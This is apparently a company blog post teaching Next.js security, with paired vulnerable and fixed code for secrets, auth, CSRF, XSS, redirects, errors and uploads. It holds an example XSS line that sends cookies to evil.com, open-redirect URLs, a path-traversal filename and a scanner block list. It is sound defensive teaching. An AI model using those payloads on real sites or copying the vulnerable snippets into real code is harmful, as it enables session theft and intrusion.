Blog
nextjsreactsecuritybest-practicesweb-security

Next.js Security Best Practices: 10 Things Most Developers Miss

CheckVibe Team
20 min read

Next.js makes it remarkably easy to build and deploy full-stack web applications. That speed comes with a trade-off: most Next.js apps ship with security gaps that the framework does not prevent by default. These are not obscure edge cases. They are common patterns that appear in production apps every day.

Here are 10 specific security issues we see repeatedly, with code examples showing the vulnerability and the fix for each one.

1. Environment Variables Leaking to the Client Bundle

Any environment variable prefixed with NEXT_PUBLIC_ is embedded in the JavaScript bundle sent to browsers. This is well-documented, but developers still accidentally expose secrets this way.

Vulnerable:

# .env.local
NEXT_PUBLIC_SUPABASE_SERVICE_ROLE_KEY=eyJhbGciOiJIUzI1Ni...
NEXT_PUBLIC_STRIPE_SECRET_KEY=sk_live_abc123...
NEXT_PUBLIC_DATABASE_URL=postgresql://user:password@host/db

Every one of these values is now visible to anyone who opens browser developer tools and inspects the JavaScript source.

Fixed:

# .env.local
NEXT_PUBLIC_SUPABASE_URL=https://xyz.supabase.co
NEXT_PUBLIC_SUPABASE_ANON_KEY=eyJhbGciOi...  # safe -- this is a public key

# These stay server-side only (no NEXT_PUBLIC_ prefix)
SUPABASE_SERVICE_ROLE_KEY=eyJhbGciOi...
STRIPE_SECRET_KEY=sk_live_abc123...
DATABASE_URL=postgresql://user:password@host/db

Rule: If a key grants write access, admin access, or bypasses security policies, it must never have the NEXT_PUBLIC_ prefix.

2. API Routes Without Authentication

Next.js API routes (both App Router and Pages Router) are publicly accessible HTTP endpoints. There is no built-in middleware that requires authentication.

Vulnerable:

// app/api/users/route.ts
export async function GET() {
  const users = await db.query('SELECT * FROM users');
  return Response.json(users);
}

Anyone who discovers this URL can dump your entire user table.

Fixed:

// app/api/users/route.ts
import { createClient } from '@/lib/supabase/server';

export async function GET() {
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();

  if (!user) {
    return Response.json({ error: 'Unauthorized' }, { status: 401 });
  }

  // Check if user has admin role
  const { data: profile } = await supabase
    .from('profiles')
    .select('role')
    .eq('id', user.id)
    .single();

  if (profile?.role !== 'admin') {
    return Response.json({ error: 'Forbidden' }, { status: 403 });
  }

  const users = await db.query('SELECT id, email, created_at FROM users');
  return Response.json(users);
}

Rule: Every API route needs an explicit authentication check. There is no global middleware that does this for you.

3. Missing CSRF Protection on State-Changing Endpoints

Next.js does not include CSRF protection. If your API routes accept POST, PUT, or DELETE requests and rely on cookies for authentication, they are vulnerable to cross-site request forgery.

Vulnerable:

// app/api/account/delete/route.ts
export async function POST(req: Request) {
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();

  if (user) {
    await supabase.from('profiles').delete().eq('id', user.id);
  }

  return Response.json({ success: true });
}

A malicious website can trigger this deletion just by having the user visit a page with a hidden form that auto-submits to your endpoint. The browser sends cookies automatically.

Fixed:

export async function POST(req: Request) {
  // Validate the request origin
  const origin = req.headers.get('origin');
  const allowedOrigins = ['https://yourdomain.com'];

  if (!origin || !allowedOrigins.includes(origin)) {
    return Response.json({ error: 'Forbidden' }, { status: 403 });
  }

  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();

  if (user) {
    await supabase.from('profiles').delete().eq('id', user.id);
  }

  return Response.json({ success: true });
}

Rule: Validate the Origin header on every POST, PUT, and DELETE route. Reject requests from unknown origins.

4. Server Actions Exposing Sensitive Logic

Next.js Server Actions are powerful but deceptive. They look like regular functions in your code, but they compile into publicly accessible HTTP endpoints. Any function marked with 'use server' can be called by anyone with the right request.

Vulnerable:

'use server';

export async function updateUserRole(userId: string, role: string) {
  await db.query('UPDATE users SET role = $1 WHERE id = $2', [role, userId]);
}

This server action can be invoked directly via HTTP. An attacker can call it with any userId and set any role, including admin.

Fixed:

'use server';

import { createClient } from '@/lib/supabase/server';

export async function updateUserRole(userId: string, role: string) {
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();

  if (!user) throw new Error('Unauthorized');

  // Check caller is admin
  const { data: profile } = await supabase
    .from('profiles')
    .select('role')
    .eq('id', user.id)
    .single();

  if (profile?.role !== 'admin') throw new Error('Forbidden');

  // Validate role against allowlist
  const validRoles = ['user', 'editor', 'admin'];
  if (!validRoles.includes(role)) throw new Error('Invalid role');

  await db.query('UPDATE users SET role = $1 WHERE id = $2', [role, userId]);
}

Rule: Treat every Server Action as a public API endpoint. Add authentication, authorization, and input validation.

Server Actions Security Deep Dive

Server Actions deserve extra attention because they blur the line between client and server code in a way that creates unique security risks. Here are the patterns that cause the most problems.

Closure variables are serialized

When a Server Action closes over a variable from a Server Component, that variable is serialized and sent to the client as part of the action's hidden form data. If the variable contains sensitive information, it leaks.

Vulnerable:

// app/admin/page.tsx (Server Component)
export default async function AdminPage() {
  const secretToken = process.env.ADMIN_API_TOKEN;

  async function performAction() {
    'use server';
    // secretToken is captured in the closure and serialized to the client
    await fetch('https://api.example.com', {
      headers: { Authorization: `Bearer ${secretToken}` },
    });
  }

  return <form action={performAction}><button>Run</button></form>;
}

Fixed:

// app/admin/page.tsx (Server Component)
export default async function AdminPage() {
  return <form action={performAction}><button>Run</button></form>;
}

// actions.ts -- separate file, reads env at execution time
'use server';

export async function performAction() {
  const secretToken = process.env.ADMIN_API_TOKEN;
  await fetch('https://api.example.com', {
    headers: { Authorization: `Bearer ${secretToken}` },
  });
}

Return values are sent to the client

Whatever a Server Action returns is serialized and sent back to the browser. If your action returns a database record that includes internal fields, those fields are exposed.

Vulnerable:

'use server';

export async function getUser(id: string) {
  // Returns everything: password_hash, internal_notes, billing_info
  const user = await db.query('SELECT * FROM users WHERE id = $1', [id]);
  return user.rows[0];
}

Fixed:

'use server';

export async function getUser(id: string) {
  const user = await db.query(
    'SELECT id, name, email, avatar_url FROM users WHERE id = $1',
    [id]
  );
  return user.rows[0];
}

Arguments can be tampered with

The arguments to a Server Action come from the client. Even if your form only sends a name and email, an attacker can modify the request to send additional or different arguments.

Vulnerable:

'use server';

export async function updateProfile(data: { name: string; email: string; role?: string }) {
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();
  // Attacker adds role: 'admin' to the request payload
  await supabase.from('profiles').update(data).eq('id', user!.id);
}

Fixed:

'use server';

import { z } from 'zod';

const profileSchema = z.object({
  name: z.string().min(1).max(100),
  email: z.string().email(),
});

export async function updateProfile(rawData: unknown) {
  const parsed = profileSchema.safeParse(rawData);
  if (!parsed.success) throw new Error('Invalid input');

  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();
  if (!user) throw new Error('Unauthorized');

  // Only name and email can be updated -- role is never accepted
  await supabase.from('profiles').update(parsed.data).eq('id', user.id);
}

The key principle: Server Actions are HTTP endpoints with a nicer syntax. Every security practice that applies to API routes applies to Server Actions too.

5. Middleware Auth Bypass via Path Matching

Next.js middleware runs before route handlers, making it a natural place for auth checks. But the matcher configuration is easy to get wrong, leaving routes unprotected.

Vulnerable:

// middleware.ts
export const config = {
  matcher: ['/dashboard/:path*'],
};

export function middleware(req: NextRequest) {
  const token = req.cookies.get('session');
  if (!token) {
    return NextResponse.redirect(new URL('/login', req.url));
  }
}

This protects /dashboard/settings but not /api/dashboard/data, /dashboard.json, or any other route that does not match the pattern. API routes are completely unprotected.

Fixed:

export const config = {
  matcher: [
    '/dashboard/:path*',
    '/api/:path*',
    // Exclude public routes explicitly
    '/((?!api/auth|api/health|_next|favicon.ico).*)',
  ],
};

Rule: Default to protecting all routes and explicitly exclude public ones, not the other way around.

Edge Middleware Security Patterns

Next.js middleware runs at the edge, which gives it unique properties that affect security. Here are patterns for using middleware effectively as a security layer.

Rate limiting at the edge

Middleware is the best place to implement rate limiting because it runs before your route handlers, reducing load on your server for abusive requests.

// middleware.ts
import { NextRequest, NextResponse } from 'next/server';

const rateLimitMap = new Map<string, { count: number; timestamp: number }>();

function rateLimit(ip: string, limit: number, windowMs: number): boolean {
  const now = Date.now();
  const record = rateLimitMap.get(ip);

  if (!record || now - record.timestamp > windowMs) {
    rateLimitMap.set(ip, { count: 1, timestamp: now });
    return true;
  }

  if (record.count >= limit) return false;
  record.count++;
  return true;
}

export function middleware(req: NextRequest) {
  // Rate limit API routes: 60 requests per minute per IP
  if (req.nextUrl.pathname.startsWith('/api/')) {
    const ip = req.headers.get('x-forwarded-for')?.split(',')[0] || 'unknown';
    if (!rateLimit(ip, 60, 60_000)) {
      return NextResponse.json(
        { error: 'Too many requests' },
        { status: 429 }
      );
    }
  }

  return NextResponse.next();
}

Note: In-memory rate limiting only works on a single edge node. For production, use a distributed store like Upstash Redis or Vercel KV.

Geo-blocking and bot detection

Middleware can inspect request headers to block known bad actors before they reach your application.

export function middleware(req: NextRequest) {
  const ua = req.headers.get('user-agent') || '';

  // Block known vulnerability scanners
  const blockedAgents = ['sqlmap', 'nikto', 'nmap', 'dirbuster'];
  if (blockedAgents.some(agent => ua.toLowerCase().includes(agent))) {
    return new NextResponse(null, { status: 403 });
  }

  // Add security headers to all responses
  const response = NextResponse.next();
  response.headers.set('X-Frame-Options', 'DENY');
  response.headers.set('X-Content-Type-Options', 'nosniff');

  return response;
}

Session validation

Rather than checking authentication in every route handler, middleware can validate session tokens centrally. The key is to not rely on middleware alone -- always verify in the route handler too, because middleware can be bypassed by certain path patterns.

export async function middleware(req: NextRequest) {
  const sessionCookie = req.cookies.get('session')?.value;

  if (req.nextUrl.pathname.startsWith('/dashboard')) {
    if (!sessionCookie) {
      return NextResponse.redirect(new URL('/login', req.url));
    }

    // For Supabase: verify the token is not expired
    try {
      const payload = JSON.parse(
        Buffer.from(sessionCookie.split('.')[1], 'base64').toString()
      );
      if (payload.exp * 1000 < Date.now()) {
        return NextResponse.redirect(new URL('/login', req.url));
      }
    } catch {
      return NextResponse.redirect(new URL('/login', req.url));
    }
  }

  return NextResponse.next();
}

This middleware is a first line of defense, not a replacement for per-route authentication. Always call supabase.auth.getUser() in your route handlers too. For Vercel-specific deployment concerns, see our Vercel deployment security checklist.

6. Rendering User Content Without Sanitization

React escapes JSX by default, which prevents most XSS. But the moment you use dangerouslySetInnerHTML or render Markdown, that protection disappears.

Vulnerable:

// Rendering user-provided HTML
function Comment({ html }: { html: string }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

If html contains <script>document.location='https://evil.com/steal?c='+document.cookie</script>, the script executes in every visitor's browser.

This also applies to Markdown rendering. Libraries like react-markdown are safe by default because they do not render raw HTML. But many developers configure them to allow HTML for richer formatting, which opens the same vulnerability:

// Vulnerable -- allows raw HTML in Markdown
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';

function UserPost({ markdown }: { markdown: string }) {
  return <ReactMarkdown rehypePlugins={[rehypeRaw]}>{markdown}</ReactMarkdown>;
}

With rehypeRaw enabled, a user can inject <img src=x onerror="alert(document.cookie)"> inside their Markdown and it will execute.

Fixed:

import DOMPurify from 'isomorphic-dompurify';

function Comment({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

For Markdown, either avoid the rehypeRaw plugin entirely, or sanitize the output:

import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import rehypeSanitize from 'rehype-sanitize';

function UserPost({ markdown }: { markdown: string }) {
  return (
    <ReactMarkdown rehypePlugins={[rehypeRaw, rehypeSanitize]}>
      {markdown}
    </ReactMarkdown>
  );
}

The rehype-sanitize plugin strips dangerous elements and attributes while allowing safe formatting HTML like <strong>, <em>, and <a> tags.

Rule: Every use of dangerouslySetInnerHTML must be preceded by sanitization with DOMPurify or a similar library. Every Markdown renderer that accepts user input must either block raw HTML or sanitize it.

7. No Security Headers Configured

Next.js does not set security headers by default. A fresh deployment will be missing CSP, HSTS, X-Frame-Options, and every other protective header.

Vulnerable:

// next.config.ts -- no headers configured
const config: NextConfig = {
  // nothing here
};

Fixed:

// next.config.ts
const config: NextConfig = {
  async headers() {
    return [{
      source: '/:path*',
      headers: [
        { key: 'X-Frame-Options', value: 'DENY' },
        { key: 'X-Content-Type-Options', value: 'nosniff' },
        { key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
        {
          key: 'Strict-Transport-Security',
          value: 'max-age=31536000; includeSubDomains; preload',
        },
        {
          key: 'Content-Security-Policy',
          value: "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://*.supabase.co",
        },
        { key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
      ],
    }];
  },
};

A common mistake with CSP in Next.js is using 'strict-dynamic' without nonce support. The 'strict-dynamic' directive is designed for nonce-based CSP, and when present, it nullifies 'unsafe-inline' and 'self' in CSP Level 3 browsers. Since Next.js relies on inline scripts for hydration, adding 'strict-dynamic' without a working nonce system will break your entire application. Stick with 'unsafe-inline' until you have a complete nonce pipeline integrated with your Next.js layout.

For a thorough walkthrough of every header and its implications, see our complete guide to security headers.

Rule: Set security headers on every route. Test with a scanner to confirm they are present on your production deployment.

8. Open Redirects via the Router

Next.js apps frequently redirect users after login, signup, or form submission using a URL parameter. If the redirect target is not validated, attackers can craft URLs that redirect users to phishing sites.

Vulnerable:

// app/api/auth/callback/route.ts
export async function GET(req: Request) {
  const url = new URL(req.url);
  const redirectTo = url.searchParams.get('redirect') || '/dashboard';

  // ... handle auth callback

  return NextResponse.redirect(new URL(redirectTo, req.url));
}

An attacker sends the victim a link like https://yourapp.com/api/auth/callback?redirect=https://evil.com/phish. After logging in, the user lands on the attacker's page, which looks identical to yours and asks for their password again.

There are subtle variations that bypass naive checks. For example, //evil.com is a protocol-relative URL that the browser resolves to https://evil.com. And https://yourapp.com.evil.com looks legitimate at a glance but goes to the attacker's domain.

Fixed:

export async function GET(req: Request) {
  const url = new URL(req.url);
  const redirectTo = url.searchParams.get('redirect') || '/dashboard';

  // Only allow relative paths -- block protocol-relative URLs too
  const safeRedirect = redirectTo.startsWith('/') && !redirectTo.startsWith('//')
    ? redirectTo
    : '/dashboard';

  return NextResponse.redirect(new URL(safeRedirect, req.url));
}

For apps that need to redirect to specific external domains (for example, after OAuth), use an explicit allowlist:

const ALLOWED_REDIRECT_HOSTS = ['yourdomain.com', 'accounts.google.com'];

function getSafeRedirect(redirectTo: string, baseUrl: string): string {
  // Allow relative paths
  if (redirectTo.startsWith('/') && !redirectTo.startsWith('//')) {
    return redirectTo;
  }

  // Check external URLs against allowlist
  try {
    const parsed = new URL(redirectTo);
    if (ALLOWED_REDIRECT_HOSTS.includes(parsed.hostname)) {
      return redirectTo;
    }
  } catch {
    // Invalid URL
  }

  return '/dashboard';
}

Rule: Never redirect to a URL from user input without validating it is a relative path on your own domain or an explicitly allowed external host.

9. Exposing Detailed Error Messages in Production

Next.js shows detailed error pages in development, but custom error handling in API routes often leaks implementation details in production too.

Vulnerable:

export async function POST(req: Request) {
  try {
    const result = await db.query(complexQuery);
    return Response.json(result);
  } catch (error) {
    // Leaks database type, table names, column names, query structure
    return Response.json({ error: (error as Error).message }, { status: 500 });
  }
}

A database error might return something like relation "users" does not exist or column "ssn" is of type character varying -- giving attackers a detailed map of your database schema.

This extends to client-side error boundaries too. Next.js error boundaries receive the full error object, and a common pattern is rendering error.message directly:

// app/error.tsx -- vulnerable error boundary
'use client';

export default function ErrorPage({ error }: { error: Error }) {
  return (
    <div>
      <h1>Something went wrong</h1>
      {/* Leaks internal error details to the user */}
      <p>{error.message}</p>
    </div>
  );
}

In production, this can expose stack traces, database connection strings, or internal service names.

Fixed:

export async function POST(req: Request) {
  try {
    const result = await db.query(complexQuery);
    return Response.json(result);
  } catch (error) {
    console.error('Database query failed:', error); // Log internally
    return Response.json(
      { error: 'An unexpected error occurred' },
      { status: 500 }
    );
  }
}
// app/error.tsx -- safe error boundary
'use client';

import { useEffect } from 'react';

export default function ErrorPage({ error, reset }: { error: Error; reset: () => void }) {
  useEffect(() => {
    // Send to your error tracking service (Sentry, etc.)
    console.error('Client error:', error);
  }, [error]);

  return (
    <div>
      <h1>Something went wrong</h1>
      <p>An unexpected error occurred. Please try again.</p>
      <button onClick={reset}>Try again</button>
    </div>
  );
}

Rule: Log the real error server-side for debugging. Return a generic message to the client. Never render error.message in production error boundaries.

10. Insecure File Upload Handling

Next.js does not restrict file uploads by default. If your app accepts file uploads without validation, attackers can upload malicious scripts, oversized files, or files with deceptive extensions.

Vulnerable:

export async function POST(req: Request) {
  const formData = await req.formData();
  const file = formData.get('file') as File;

  // No type check, no size limit, no sanitization
  const buffer = Buffer.from(await file.arrayBuffer());
  await writeFile(`./public/uploads/${file.name}`, buffer);

  return Response.json({ url: `/uploads/${file.name}` });
}

This allows uploading an HTML file containing JavaScript, which then executes in your domain context when accessed, giving the attacker full access to your users' cookies and session data. It also allows path traversal -- a filename like ../../../.env.local could overwrite your environment file.

Fixed:

import { writeFile, mkdir } from 'fs/promises';
import { join } from 'path';

const ALLOWED_TYPES = ['image/jpeg', 'image/png', 'image/webp', 'image/gif'];
const MAX_SIZE = 5 * 1024 * 1024; // 5MB

export async function POST(req: Request) {
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();
  if (!user) {
    return Response.json({ error: 'Unauthorized' }, { status: 401 });
  }

  const formData = await req.formData();
  const file = formData.get('file') as File;

  if (!file) {
    return Response.json({ error: 'No file provided' }, { status: 400 });
  }

  // Validate MIME type against allowlist
  if (!ALLOWED_TYPES.includes(file.type)) {
    return Response.json({ error: 'Invalid file type' }, { status: 400 });
  }

  // Enforce size limit
  if (file.size > MAX_SIZE) {
    return Response.json({ error: 'File too large' }, { status: 400 });
  }

  // Validate magic bytes match the claimed MIME type
  const buffer = Buffer.from(await file.arrayBuffer());
  const header = buffer.subarray(0, 4).toString('hex');
  const validHeaders: Record<string, string[]> = {
    'image/jpeg': ['ffd8ffe0', 'ffd8ffe1', 'ffd8ffe2'],
    'image/png': ['89504e47'],
    'image/webp': ['52494646'],
    'image/gif': ['47494638'],
  };

  const expectedHeaders = validHeaders[file.type] || [];
  if (!expectedHeaders.some(h => header.startsWith(h))) {
    return Response.json({ error: 'File content does not match type' }, { status: 400 });
  }

  // Generate a safe filename -- never use the original
  const ext = file.type.split('/')[1];
  const safeName = `${crypto.randomUUID()}.${ext}`;

  // Store outside of /public to prevent direct execution
  const uploadDir = join(process.cwd(), 'uploads');
  await mkdir(uploadDir, { recursive: true });
  await writeFile(join(uploadDir, safeName), buffer);

  return Response.json({ url: `/api/uploads/${safeName}` });
}

The fixed version does five critical things: validates the MIME type against an allowlist, enforces a size limit, checks magic bytes to prevent MIME type spoofing, generates a random filename to prevent path traversal, and stores files outside the public directory to prevent direct execution. For production apps, consider using a cloud storage service like Supabase Storage or S3 instead of local file storage, and serve uploads from a separate domain or CDN to prevent same-origin script execution.

Rule: Validate file type against an allowlist, enforce size limits, check magic bytes, generate random filenames, and never serve uploaded files from the same domain without a CDN or separate origin.

Scan Your App Now

These 10 issues show up in the majority of Next.js applications we scan. Many of them exist because the framework prioritizes developer experience over secure defaults, and it is on you to close the gaps.

CheckVibe automatically tests your Next.js app for all of the above, plus 27 more vulnerability categories. It crawls every page, tests every endpoint, and gives you a prioritized report with fix guidance.

Run a free scan on your Next.js app -- 100+ security checks in under 60 seconds.

FAQ

Is Next.js secure by default?

No. Next.js provides some built-in protections -- React's JSX escaping prevents most XSS, and Server Components do not expose their logic to the client. But the framework does not set security headers, does not add CSRF protection, does not authenticate API routes, and does not validate input. These are all left to the developer. The defaults prioritize developer experience and ease of deployment, which means a fresh Next.js app deployed to Vercel will be missing HSTS, CSP, X-Frame-Options, and every other protective header. You need to add these yourself in next.config.ts or middleware. Think of Next.js as secure in its rendering layer but not in its network layer -- you get XSS protection for free, but everything else is your responsibility.

Do I need middleware.ts?

It depends on your app. Middleware is useful for centralized auth checks, rate limiting, geo-blocking, and adding security headers. But it is not a replacement for per-route authentication. Middleware runs at the edge and cannot access your database directly, so it is limited to checking cookies, tokens, and headers. The biggest risk with middleware is misconfigured path matching -- if your matcher pattern does not cover all routes, unmatched routes are completely unprotected. If you use middleware for auth, always verify authentication again in your route handlers as a defense-in-depth measure. For simple apps with a handful of API routes, inline auth checks in each route may be simpler and harder to misconfigure than middleware.

How do I add CSP to Next.js?

The simplest approach is using the headers() function in next.config.ts to set a static CSP header on all routes (as shown in item 7 above). This works well for most apps. The challenge is that Next.js uses inline scripts for hydration, so you need 'unsafe-inline' in your script-src directive, which weakens CSP. The more secure approach is nonce-based CSP, where each inline script gets a unique nonce that the CSP header allows. However, implementing nonces in Next.js requires custom server configuration to generate a nonce per request and inject it into both the CSP header and every script tag. This is non-trivial and error-prone. Our recommendation: start with a static CSP using 'unsafe-inline' for scripts, which still protects against many attacks. Do not use 'strict-dynamic' without nonces -- it nullifies 'unsafe-inline' and 'self' in modern browsers, which will break your app. For a full walkthrough of CSP configuration, see our security headers guide.

Are Server Actions safe?

Server Actions are safe in the sense that their code runs on the server and is not exposed to the client. But they are not safe by default in terms of access control. Every Server Action compiles into a publicly accessible HTTP endpoint that anyone can call with the right request format. If a Server Action modifies data without checking who is calling it, it is just as vulnerable as an unprotected API route. The rules are the same: authenticate the caller, authorize the action, validate all inputs, and return only the data the caller should see. The extra risk with Server Actions is that they look like regular functions in your code, which makes it easy to forget that they are public endpoints. Treat every 'use server' function the way you would treat a POST /api/... route. For more on CORS-related concerns with these patterns, see our CORS misconfiguration guide.

Is your app vulnerable?

Paste your URL and get a security report in 30 seconds. 100+ automated checks, AI-powered fix prompts for Cursor & Copilot.

Scan Your App Free